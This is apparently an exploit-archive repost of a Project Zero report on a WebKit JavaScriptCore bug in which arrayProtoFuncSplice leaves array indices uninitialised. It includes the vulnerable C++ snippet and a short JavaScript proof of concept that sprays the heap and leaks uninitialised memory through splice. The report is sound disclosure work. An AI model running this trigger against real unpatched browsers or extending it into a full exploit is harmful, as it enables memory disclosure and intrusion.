ExploitFixes
WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices 2017-06-16 19:05:04

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));

for (unsigned k = 0; k < actualDeleteCount; ++k) {
JSValue v = getProperty(exec, thisObj, k + actualStart);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (UNLIKELY(!v)) {
continue;
}
result->initializeIndex(vm, k, v);
}
...
}

|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

PoC:
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function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(0x1000, () => 1);

gc();

for (let i = 0; i < 0x100; i++) {
new Array(0x100).fill(1234.5678);
}

gc();

print(new Array(0x100).splice(0));